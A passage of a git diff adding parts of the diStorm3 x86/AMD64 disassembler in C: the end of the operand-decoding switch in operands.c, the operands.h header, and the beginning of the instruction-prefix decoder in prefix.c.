+ operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg);
+ break;
+ case OT_REG32_64: /* Handle CVT's, MOVxX and MOVNTI instructions which could be extended to 64 bits registers with REX. */
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
+
+ /* Is it a promoted instruction? (only INST_64BITS is set and REX isn't required.) */
+ if ((ci->dt == Decode64Bits) && ((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS)) {
+ operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg);
+ break;
+ }
+ /* Give a chance to REX.W. Because if it was a promoted instruction we don't care about REX.W anyways. */
+ if (vrex & PREFIX_EX_W) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg);
+ } else operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg);
+ break;
+ case OT_FREG32_64_RM: /* Force decoding mode. Used for MOV CR(n)/DR(n) which defaults to 64 bits operand size in 64 bits. */
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+
+ if (ci->dt == Decode64Bits) operands_set_tsi(op, O_REG, 64, REGS64_BASE + rm);
+ else operands_set_tsi(op, O_REG, 32, REGS32_BASE + rm);
+ break;
+ case OT_MM: /* MMX register */
+ operands_set_tsi(op, O_REG, 64, MMXREGS_BASE + reg);
+ break;
+ case OT_MM_RM: /* MMX register, this time from the RM field */
+ operands_set_tsi(op, O_REG, 64, MMXREGS_BASE + rm);
+ break;
+ case OT_REGXMM0: /* Implicit XMM0 operand. */
+ reg = 0;
+ vrex = 0;
+ /* FALL THROUGH */
+ case OT_XMM: /* SSE register */
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
+ operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg);
+ break;
+ case OT_XMM_RM: /* SSE register, this time from the RM field */
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + rm);
+ break;
+ case OT_CREG:
+ /*
+ * Don't parse if the reg exceeds the bounds of the array.
+ * Most of the CR's are not implemented, so if there's no matching string, the operand is invalid.
+ */
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ } else if ((ci->dt == Decode32Bits) && (ps->decodedPrefixes & INST_PRE_LOCK)) {
+ /*
+ * NOTE: In 32 bits decoding mode,
+ * if the lock prefix is set before MOV CR(n) it will become the 4th bit of the REG field like REX.R in 64 bits.
+ */
+ reg += EX_GPR_BASE;
+ ps->usedPrefixes |= INST_PRE_LOCK;
+ }
+ /* Ignore some registers which do not exist. */
+ if ((reg >= CREGS_MAX) || (reg == 1) || ((reg >= 5) && (reg <= 7))) return FALSE;
+
+ op->type = O_REG;
+ if (ci->dt == Decode64Bits) op->size = 64;
+ else op->size = 32;
+ op->index = (uint8_t)(CREGS_BASE + reg);
+ break;
+ case OT_DREG:
+ /*
+ * In 64 bits there are 16 debug registers.
+ * but accessing any of dr8-15 which aren't implemented will cause an #ud.
+ */
+ if ((reg == 4) || (reg == 5) || (vrex & PREFIX_EX_R)) return FALSE;
+
+ op->type = O_REG;
+ if (ci->dt == Decode64Bits) op->size = 64;
+ else op->size = 32;
+ op->index = (uint8_t)(DREGS_BASE + reg);
+ break;
+ case OT_SREG: /* Works with REG16 only! */
+ /* If lockableInstruction pointer is non-null we know it's the first operand. */
+ if (lockableInstruction && (reg == 1)) return FALSE; /* Can't MOV CS, <REG>. */
+ /*Don't parse if the reg exceeds the bounds of the array. */
+ if (reg <= SEG_REGS_MAX - 1) operands_set_tsi(op, O_REG, 16, SREGS_BASE + reg);
+ else return FALSE;
+ break;
+ case OT_SEG:
+ op->type = O_REG;
+ /* Size of reg is always 16, it's up to caller to zero extend it to operand size. */
+ op->size = 16;
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /*
+ * Extract the SEG from ii->flags this time!!!
+ * Check whether an operand size prefix is used.
+ */
+ switch (instFlags & INST_PRE_SEGOVRD_MASK)
+ {
+ case INST_PRE_ES: op->index = R_ES; break;
+ case INST_PRE_CS: op->index = R_CS; break;
+ case INST_PRE_SS: op->index = R_SS; break;
+ case INST_PRE_DS: op->index = R_DS; break;
+ case INST_PRE_FS: op->index = R_FS; break;
+ case INST_PRE_GS: op->index = R_GS; break;
+ }
+ break;
+ case OT_ACC8:
+ operands_set_tsi(op, O_REG, 8, R_AL);
+ break;
+ case OT_ACC16:
+ operands_set_tsi(op, O_REG, 16, R_AX);
+ break;
+ case OT_ACC_FULL_NOT64: /* No REX.W support for IN/OUT. */
+ vrex &= ~PREFIX_EX_W;
+ case OT_ACC_FULL:
+ if (effOpSz == Decode16Bits) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ operands_set_tsi(op, O_REG, 16, R_AX);
+ } else if (effOpSz == Decode32Bits) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ operands_set_tsi(op, O_REG, 32, R_EAX);
+ } else { /* Decode64Bits */
+ /* Only non-promoted instructions need REX in order to decode in 64 bits. */
+ /* MEM-OFFSET MOV's are NOT automatically promoted to 64 bits. */
+ if (~instFlags & INST_64BITS) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ }
+ operands_set_tsi(op, O_REG, 64, R_RAX);
+ }
+ break;
+ case OT_PTR16_FULL:
+ /* ptr16:full - full is size of operand size to read, therefore Operand Size Prefix affects this. So we need to handle it. */
+ if (effOpSz == Decode16Bits) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ ci->codeLen -= sizeof(int16_t)*2;
+ if (ci->codeLen < 0) return FALSE;
+
+ operands_set_ts(op, O_PTR, 16);
+ di->imm.ptr.off = RUSHORT(ci->code); /* Read offset first. */
+ di->imm.ptr.seg = RUSHORT((ci->code + sizeof(int16_t))); /* And read segment. */
+
+ ci->code += sizeof(int16_t)*2;
+ } else { /* Decode32Bits, for Decode64Bits this instruction is invalid. */
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ ci->codeLen -= sizeof(int32_t) + sizeof(int16_t);
+ if (ci->codeLen < 0) return FALSE;
+
+ operands_set_ts(op, O_PTR, 32);
+ di->imm.ptr.off = RULONG(ci->code); /* Read 32bits offset this time. */
+ di->imm.ptr.seg = RUSHORT((ci->code + sizeof(int32_t))); /* And read segment, 16 bits. */
+
+ ci->code += sizeof(int32_t) + sizeof(int16_t);
+ }
+ break;
+ case OT_RELCB:
+ case OT_RELC_FULL:
+
+ if (type == OT_RELCB) {
+ operands_set_ts(op, O_PC, 8);
+ if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int8_t))) return FALSE;
+ } else { /* OT_RELC_FULL */
+
+ /* Yep, operand size prefix affects relc also. */
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ if (effOpSz == Decode16Bits) {
+ operands_set_ts(op, O_PC, 16);
+ if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int16_t))) return FALSE;
+ } else { /* Decode32Bits or Decode64Bits = for now they are the same */
+ operands_set_ts(op, O_PC, 32);
+ if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int32_t))) return FALSE;
+ }
+ }
+
+ /* Support for hint, see if there's a segment override. */
+ if ((ii->opcodeId >= I_JO) && (ii->opcodeId <= I_JG)) {
+ if (ps->decodedPrefixes & INST_PRE_CS) {
+ ps->usedPrefixes |= INST_PRE_CS;
+ di->flags |= FLAG_HINT_NOT_TAKEN;
+ } else if (ps->decodedPrefixes & INST_PRE_DS) {
+ ps->usedPrefixes |= INST_PRE_DS;
+ di->flags |= FLAG_HINT_TAKEN;
+ }
+ }
+ break;
+ case OT_MOFFS8:
+ op->size = 8;
+ /* FALL THROUGH, size won't be changed. */
+ case OT_MOFFS_FULL:
+ op->type = O_DISP;
+ if (op->size == 0) {
+ /* Calculate size of operand (same as ACC size). */
+ switch (effOpSz)
+ {
+ case Decode16Bits: op->size = 16; break;
+ case Decode32Bits: op->size = 32; break;
+ case Decode64Bits: op->size = 64; break;
+ }
+ }
+
+ prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di);
+
+ /*
+ * Just a pointer to a BYTE, WORD, DWORD, QWORD. Works only with ACC8/16/32/64 respectively.
+ * MOV [0x1234], AL ; MOV AX, [0x1234] ; MOV EAX, [0x1234], note that R/E/AX will be chosen by OT_ACC_FULL.
+ */
+ if (effAdrSz == Decode16Bits) {
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+
+ di->dispSize = 16;
+ if (!read_stream_safe_uint(ci, &di->disp, sizeof(int16_t))) return FALSE;
+ } else if (effAdrSz == Decode32Bits) {
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+
+ di->dispSize = 32;
+ if (!read_stream_safe_uint(ci, &di->disp, sizeof(int32_t))) return FALSE;
+ } else { /* Decode64Bits */
+ di->dispSize = 64;
+ if (!read_stream_safe_uint(ci, &di->disp, sizeof(int64_t))) return FALSE;
+ }
+ break;
+ case OT_CONST1:
+ operands_set_ts(op, O_IMM, 8);
+ di->imm.byte = 1;
+ break;
+ case OT_REGCL:
+ operands_set_tsi(op, O_REG, 8, R_CL);
+ break;
+
+ case OT_FPU_SI:
+ /* Low 3 bits specify the REG, similar to the MODR/M byte reg. */
+ operands_set_tsi(op, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7));
+ break;
+ case OT_FPU_SSI:
+ operands_set_tsi(op, O_REG, 32, R_ST0);
+ operands_set_tsi(op + 1, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7));
+ break;
+ case OT_FPU_SIS:
+ operands_set_tsi(op, O_REG, 32, FPUREGS_BASE + (*(ci->code-1) & 7));
+ operands_set_tsi(op + 1, O_REG, 32, R_ST0);
+ break;
+
+ /*
+ * Special treatment for Instructions-Block:
+ * INC/DEC (only 16/32 bits) /PUSH/POP/XCHG instructions, which get their REG from their own binary code.
+
+ * Notice these instructions are 1 or 2 byte long,
+ * code points after the byte which represents the instruction itself,
+ * thus, even if the instructions are 2 bytes long it will read its last byte which contains the REG info.
+ */
+ case OT_IB_RB:
+ /* Low 3 bits specify the REG, similar to the MODR/M byte reg. */
+ operands_set_ts(op, O_REG, 8);
+ reg = *(ci->code-1) & 7;
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ op->index = (uint8_t)operands_fix_8bit_rex_base(reg + EX_GPR_BASE);
+ } else if (ps->prefixExtType == PET_REX) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ op->index = (uint8_t)operands_fix_8bit_rex_base(reg);
+ } else op->index = (uint8_t)(REGS8_BASE + reg);
+ break;
+ case OT_IB_R_FULL:
+ reg = *(ci->code-1) & 7;
+ switch (effOpSz)
+ {
+ case Decode16Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
+ operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg);
+ break;
+ case Decode32Bits:
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ } else ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg);
+ break;
+ case Decode64Bits:
+ /*
+ * Automatically promoted instruction can drop REX prefix if not required.
+ * PUSH/POP defaults to 64 bits. --> INST_64BITS
+ * MOV imm64 / BSWAP requires REX.W to be 64 bits --> INST_64BITS | INST_PRE_REX
+ */
+ if ((instFlags & INST_64BITS) && ((instFlags & INST_PRE_REX) == 0)) {
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
+ } else {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += (vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0;
+ }
+ operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg);
+ break;
+ }
+ break;
+
+ /*
+ * Special treatment for repeatable instructions.
+
+ * We want the following output:
+ * If there's only the REP/NZ prefix, we won't output anything (All operands are implicit).
+ * If there's an operand size prefix, we will change the suffix letter of the mnemonic, which specifies the size of operand to the required one.
+ * If there's a segment override prefix, we will output the segment and the used index register (EDI/ESI).
+ * If there's an address size prefix, we will output the (segment if needed and) the used and inverted index register (DI/SI).
+
+ * Example:
+ * :: Decoding in 16 bits mode! ::
+ * AD ~ LODSW
+ * 66 AD ~ LODSD
+ * F3 AC ~ REP LODSB
+ * F3 66 AD ~ REP LODSD
+ * F3 3E AC ~ REP LODS BYTE DS:[SI]
+ * F3 67 AD ~ REP LODS WORD [ESI]
+
+ * The basic form of a repeatable instruction has its operands hidden and has a suffix letter
+ * which implies on the size of operation being done.
+ * Therefore, we cannot change the mnemonic here when we encounter another prefix and its not the decoder's responsibility to do so.
+ * That's why the caller is responsible to add the suffix letter if no other prefixes are used.
+ * And all we are doing here is formatting the operand correctly.
+ */
+ case OT_REGI_ESI:
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+
+ op->type = O_SMEM;
+
+ /* This might be a 16, 32 or 64 bits instruction, depends on the decoding mode. */
+ if (instFlags & INST_16BITS) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+
+ if (effOpSz == Decode16Bits) op->size = 16;
+ else if ((effOpSz == Decode64Bits) && (instFlags & INST_64BITS)) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ op->size = 64;
+ } else op->size = 32;
+ } else op->size = 8;
+
+ /*
+ * Clear segment in case OT_REGI_EDI was parsed earlier,
+ * DS can be overridden and therefore has precedence.
+ */
+ di->segment = 0;
+ prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di);
+
+ if (effAdrSz == Decode16Bits) op->index = R_SI;
+ else if (effAdrSz == Decode32Bits) op->index = R_ESI;
+ else op->index = R_RSI;
+ break;
+ case OT_REGI_EDI:
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+
+ op->type = O_SMEM;
+
+ /* This might be a 16 or 32 bits instruction, depends on the decoding mode. */
+ if (instFlags & INST_16BITS) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+
+ if (effOpSz == Decode16Bits) op->size = 16;
+ else if ((effOpSz == Decode64Bits) && (instFlags & INST_64BITS)) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ op->size = 64;
+ } else op->size = 32;
+ } else op->size = 8;
+
+ /* Note: The [rDI] operand can't be prefixed by a segment override, therefore we don't set usedPrefixes. */
+ if ((opNum == ONT_1) && (ci->dt != Decode64Bits)) di->segment = R_ES | SEGMENT_DEFAULT; /* No ES in 64 bits mode. */
+
+ if (effAdrSz == Decode16Bits) op->index = R_DI;
+ else if (effAdrSz == Decode32Bits) op->index = R_EDI;
+ else op->index = R_RDI;
+ break;
+
+ /* Used for In/Out instructions varying forms. */
+ case OT_REGDX:
+ /* Simple single IN/OUT instruction. */
+ operands_set_tsi(op, O_REG, 16, R_DX);
+ break;
+
+ /* Used for INVLPGA instruction. */
+ case OT_REGECX:
+ operands_set_tsi(op, O_REG, 32, R_ECX);
+ break;
+ case OT_REGI_EBXAL:
+ /* XLAT BYTE [rBX + AL] */
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+
+ prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di);
+
+ /* Size of deref is always 8 for xlat. */
+ operands_set_tsi(op, O_MEM, 8, R_AL);
+
+ if (effAdrSz == Decode16Bits) di->base = R_BX;
+ else if (effAdrSz == Decode32Bits) di->base = R_EBX;
+ else {
+ ps->usedPrefixes |= INST_PRE_REX;
+ di->base = R_RBX;
+ }
+ break;
+ case OT_REGI_EAX:
+ /*
+ * Implicit rAX as memory indirection operand. Used by AMD's SVM instructions.
+ * Since this is a memory indirection, the default address size in 64bits decoding mode is 64.
+ */
+
+ if (effAdrSz == Decode64Bits) operands_set_tsi(op, O_SMEM, 64, R_RAX);
+ else if (effAdrSz == Decode32Bits) {
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+ operands_set_tsi(op, O_SMEM, 32, R_EAX);
+ } else {
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+ operands_set_tsi(op, O_SMEM, 16, R_AX);
+ }
+ break;
+ case OT_VXMM:
+ operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + vexV);
+ break;
+ case OT_XMM_IMM:
+ ci->codeLen -= sizeof(int8_t);
+ if (ci->codeLen < 0) return FALSE;
+
+ if (ci->dt == Decode32Bits) reg = (*ci->code >> 4) & 0x7;
+ else reg = (*ci->code >> 4) & 0xf;
+ operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg);
+
+ ci->code += sizeof(int8_t);
+ break;
+ case OT_YXMM:
+ if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE;
+ if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg);
+ else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg);
+ break;
+ case OT_YXMM_IMM:
+ ci->codeLen -= sizeof(int8_t);
+ if (ci->codeLen < 0) return FALSE;
+
+ if (ci->dt == Decode32Bits) reg = (*ci->code >> 4) & 0x7;
+ else reg = (*ci->code >> 4) & 0xf;
+
+ if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg);
+ else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg);
+
+ ci->code += sizeof(int8_t);
+ break;
+ case OT_YMM:
+ if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE;
+ operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg);
+ break;
+ case OT_VYMM:
+ operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + vexV);
+ break;
+ case OT_VYXMM:
+ if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + vexV);
+ else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + vexV);
+ break;
+ case OT_WREG32_64:
+ if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE;
+ if (ps->vrex & PREFIX_EX_W) operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg);
+ else operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg);
+ break;
+ default: return FALSE;
+ }
+
+ if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) {
+ di->usedRegistersMask |= _REGISTERTORCLASS[op->index];
+ }
+
+ return TRUE;
+}
diff --git a/source/distorm/operands.h b/source/distorm/operands.h
new file mode 100644
index 0000000..883d59b
--- /dev/null
+++ b/source/distorm/operands.h
@@ -0,0 +1,28 @@
+/*
+operands.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef OPERANDS_H
+#define OPERANDS_H
+
+#include "config.h"
+#include "decoder.h"
+#include "prefix.h"
+#include "instructions.h"
+
+
+extern uint32_t _REGISTERTORCLASS[];
+
+int operands_extract(_CodeInfo* ci, _DInst* di, _InstInfo* ii,
+ _iflags instFlags, _OpType type, _OperandNumberType opNum,
+ unsigned int modrm, _PrefixState* ps, _DecodeType effOpSz,
+ _DecodeType effAdrSz, int* lockableInstruction);
+
+#endif /* OPERANDS_H */
diff --git a/source/distorm/prefix.c b/source/distorm/prefix.c
new file mode 100644
index 0000000..77cbeea
--- /dev/null
+++ b/source/distorm/prefix.c
@@ -0,0 +1,368 @@
+/*
+prefix.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "prefix.h"
+
+#include "x86defs.h"
+#include "instructions.h"
+#include "distorm/mnemonics.h"
+
+
+/*
+ * The main purpose of this module is to keep track of all kind of prefixes a single instruction may have.
+ * The problem is that a single instruction may have up to six different prefix-types.
+ * That's why I have to detect such cases and drop those excess prefixes.
+ */
+
+int prefixes_is_valid(unsigned int ch, _DecodeType dt)
+{
+ switch (ch) {
+ /* for i in xrange(0x40, 0x50): print "case 0x%2x:" % i */
+ case 0x40: /* REX: */
+ case 0x41:
+ case 0x42:
+ case 0x43:
+ case 0x44:
+ case 0x45:
+ case 0x46:
+ case 0x47:
+ case 0x48:
+ case 0x49:
+ case 0x4a:
+ case 0x4b:
+ case 0x4c:
+ case 0x4d:
+ case 0x4e:
+ case 0x4f: return (dt == Decode64Bits);
+ case PREFIX_LOCK: return TRUE;
+ case PREFIX_REPNZ: return TRUE;
+ case PREFIX_REP: return TRUE;
+ case PREFIX_CS: return TRUE;
+ case PREFIX_SS: return TRUE;
+ case PREFIX_DS: return TRUE;
+ case PREFIX_ES: return TRUE;
+ case PREFIX_FS: return TRUE;
+ case PREFIX_GS: return TRUE;
+ case PREFIX_OP_SIZE: return TRUE;
+ case PREFIX_ADDR_SIZE: return TRUE;
+ /* The VEXs might be false positives, the decode_perfixes will determine for sure. */
+ case PREFIX_VEX2b: /* VEX is supported for all modes, because 16 bits Pmode is included. */
+ case PREFIX_VEX3b: return TRUE;
+ }
+ return FALSE;
+}
+
+/* Ignore a specific prefix type. */
+void prefixes_ignore(_PrefixState* ps, _PrefixIndexer pi)
+{
+ /*
+ * If that type of prefix appeared already, set the bit of that *former* prefix.
+ * Anyway, set the new index of that prefix type to the current index, so next time we know its position.
+ */
+ if (ps->pfxIndexer[pi] != PFXIDX_NONE) ps->unusedPrefixesMask |= (1 << ps->pfxIndexer[pi]);
+}
+
+/* Ignore all prefix. */
+void prefixes_ignore_all(_PrefixState* ps)
+{
+ int i;
+ for (i = 0; i < PFXIDX_MAX; i++)
+ prefixes_ignore(ps, i);
+}
+
+/* Calculates which prefixes weren't used and accordingly sets the bits in the unusedPrefixesMask. */
+uint16_t prefixes_set_unused_mask(_PrefixState* ps)
+{
+ /*
+ * The decodedPrefixes represents the prefixes that were *read* from the binary stream for the instruction.
+ * The usedPrefixes represents the prefixes that were actually used by the instruction in the *decode* phase.
+ * Xoring between the two will result in a 'diff' which returns the prefixes that were read
+ * from the stream *and* that were never used in the actual decoding.
+ *
+ * Only one prefix per type can be set in decodedPrefixes from the stream.
+ * Therefore it's enough to check each type once and set the flag accordingly.
+ * That's why we had to book-keep each prefix type and its position.
+ * So now we know which bits we need to set exactly in the mask.
+ */
+ _iflags unusedPrefixesDiff = ps->decodedPrefixes ^ ps->usedPrefixes;
+
+ /* Examine unused prefixes by type: */
+ /*
+ * About REX: it might be set in the diff although it was never in the stream itself.
+ * This is because the vrex is shared between VEX and REX and some places flag it as REX usage, while
+ * we were really decoding an AVX instruction.
+ * It's not a big problem, because the prefixes_ignore func will ignore it anyway,
+ * since it wasn't seen earlier. But it's important to know this.
+ */
+ if (unusedPrefixesDiff & INST_PRE_REX) prefixes_ignore(ps, PFXIDX_REX);
+ if (unusedPrefixesDiff & INST_PRE_SEGOVRD_MASK) prefixes_ignore(ps, PFXIDX_SEG);
+ if (unusedPrefixesDiff & INST_PRE_LOKREP_MASK) prefixes_ignore(ps, PFXIDX_LOREP);
+ if (unusedPrefixesDiff & INST_PRE_OP_SIZE) prefixes_ignore(ps, PFXIDX_OP_SIZE);
+ if (unusedPrefixesDiff & INST_PRE_ADDR_SIZE) prefixes_ignore(ps, PFXIDX_ADRS);
+ /* If a VEX instruction was found, its prefix is considered as used, therefore no point for checking for it. */
+
+ return ps->unusedPrefixesMask;
+}
+
+/*
+ * Mark a prefix as unused, and bookkeep where we last saw this same type,
+ * because in the future we might want to disable it too.
+ */
+_INLINE_ void prefixes_track_unused(_PrefixState* ps, int index, _PrefixIndexer pi)
+{
+ prefixes_ignore(ps, pi);
+ /* Book-keep the current index for this type. */
+ ps->pfxIndexer[pi] = index;
+}
+
+/*
+ * Read as many prefixes as possible, up to 15 bytes, and halt when we encounter non-prefix byte.
+ * This algorithm tries to imitate a real processor, where the same prefix can appear a few times, etc.
+ * The tiny complexity is that we want to know when a prefix was superfluous and mark any copy of it as unused.
+ * Note that the last prefix of its type will be considered as used, and all the others (of same type) before it as unused.
+ */
+void prefixes_decode(const uint8_t* code, int codeLen, _PrefixState* ps, _DecodeType dt)
+{
+ int index, done;
+ uint8_t vex;
+
+ /*
+ * First thing to do, scan for prefixes, there are six types of prefixes.
+ * There may be up to six prefixes before a single instruction, not the same type, no special order,
+ * except REX/VEX must precede immediately the first opcode byte.
+ * BTW - This is the reason why I didn't make the REP prefixes part of the instructions (STOS/SCAS/etc).
+ *
+ * Another thing, the instruction maximum size is 15 bytes, thus if we read more than 15 bytes, we will halt.
+ *
+ * We attach all prefixes to the next instruction, there might be two or more occurrences from the same prefix.
+ * Also, since VEX can be allowed only once we will test it separately.
+ */
+ for (index = 0, done = FALSE;
+ (codeLen > 0) && (code - ps->start < INST_MAXIMUM_SIZE);
+ code++, codeLen--, index++) {
+ /*
+ NOTE: AMD treat lock/rep as two different groups... But I am based on Intel.
+
+ - Lock and Repeat:
+ - 0xF0 — LOCK
+ - 0xF2 — REPNE/REPNZ
+ - 0xF3 - REP/REPE/REPZ
+ - Segment Override:
+ - 0x2E - CS
+ - 0x36 - SS
+ - 0x3E - DS
+ - 0x26 - ES
+ - 0x64 - FS
+ - 0x65 - GS
+ - Operand-Size Override: 0x66, switching default size.
+ - Address-Size Override: 0x67, switching default size.
+
+ 64 Bits:
+ - REX: 0x40 - 0x4f, extends register access.
+ - 2 Bytes VEX: 0xc4
+ - 3 Bytes VEX: 0xc5
+ 32 Bits:
+ - 2 Bytes VEX: 0xc4 11xx-xxxx
+ - 3 Bytes VEX: 0xc5 11xx-xxxx
+ */
+
+ /* Examine what type of prefix we got. */
+ switch (*code)
+ {
+ /* REX type, 64 bits decoding mode only: */
+ case 0x40:
+ case 0x41:
+ case 0x42:
+ case 0x43:
+ case 0x44:
+ case 0x45:
+ case 0x46:
+ case 0x47:
+ case 0x48:
+ case 0x49:
+ case 0x4a:
+ case 0x4b:
+ case 0x4c:
+ case 0x4d:
+ case 0x4e:
+ case 0x4f:
+ if (dt == Decode64Bits) {
+ ps->decodedPrefixes |= INST_PRE_REX;
+ ps->vrex = *code & 0xf; /* Keep only BXRW. */
+ ps->rexPos = code;
+ ps->prefixExtType = PET_REX;
+ prefixes_track_unused(ps, index, PFXIDX_REX);
+ } else done = TRUE; /* If we are not in 64 bits mode, it's an instruction, then halt. */
+ break;
+
+ /* LOCK and REPx type: */
+ case PREFIX_LOCK:
+ ps->decodedPrefixes |= INST_PRE_LOCK;
+ prefixes_track_unused(ps, index, PFXIDX_LOREP);
+ break;
+ case PREFIX_REPNZ:
+ ps->decodedPrefixes |= INST_PRE_REPNZ;
+ prefixes_track_unused(ps, index, PFXIDX_LOREP);
+ break;
+ case PREFIX_REP:
+ ps->decodedPrefixes |= INST_PRE_REP;
+ prefixes_track_unused(ps, index, PFXIDX_LOREP);
+ break;
+
+ /* Seg Overide type: */
+ case PREFIX_CS:
+ ps->decodedPrefixes |= INST_PRE_CS;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+ case PREFIX_SS:
+ ps->decodedPrefixes |= INST_PRE_SS;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+ case PREFIX_DS:
+ ps->decodedPrefixes |= INST_PRE_DS;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+ case PREFIX_ES:
+ ps->decodedPrefixes |= INST_PRE_ES;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+ case PREFIX_FS:
+ ps->decodedPrefixes |= INST_PRE_FS;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+ case PREFIX_GS:
+ ps->decodedPrefixes |= INST_PRE_GS;
+ prefixes_track_unused(ps, index, PFXIDX_SEG);
+ break;
+
+ /* Op Size type: */
+ case PREFIX_OP_SIZE:
+ ps->decodedPrefixes |= INST_PRE_OP_SIZE;
+ prefixes_track_unused(ps, index, PFXIDX_OP_SIZE);
+ break;
+
+ /* Addr Size type: */
+ case PREFIX_ADDR_SIZE:
+ ps->decodedPrefixes |= INST_PRE_ADDR_SIZE;
+ prefixes_track_unused(ps, index, PFXIDX_ADRS);
+ break;
+
+ /* Non-prefix byte now, so break 2. */
+ default: done = TRUE; break;
+ }
+ if (done) break;
+ }
+
+ /* 2 Bytes VEX: */
+ if ((codeLen >= 2) &&
+ (*code == PREFIX_VEX2b) &&
+ ((code - ps->start) <= INST_MAXIMUM_SIZE - 2)) {
+ /*
+ * In 32 bits the second byte has to be in the special range of Mod=11.
+ * Otherwise it might be a normal LDS instruction.
+ */
+ if ((dt == Decode64Bits) || (*(code + 1) >= INST_DIVIDED_MODRM)) {
+ ps->vexPos = code + 1;
+ ps->decodedPrefixes |= INST_PRE_VEX;
+ ps->prefixExtType = PET_VEX2BYTES;
+
+ /*
+ * VEX 1 byte bits:
+ * |7-6--3-2-10|
+ * |R|vvvv|L|pp|
+ * |-----------|
+ */
+
+ /* -- Convert from VEX prefix to VREX flags -- */
+ vex = *ps->vexPos;
+ if (~vex & 0x80 && dt == Decode64Bits) ps->vrex |= PREFIX_EX_R; /* Convert VEX.R. */
+ if (vex & 4) ps->vrex |= PREFIX_EX_L; /* Convert VEX.L. */
+
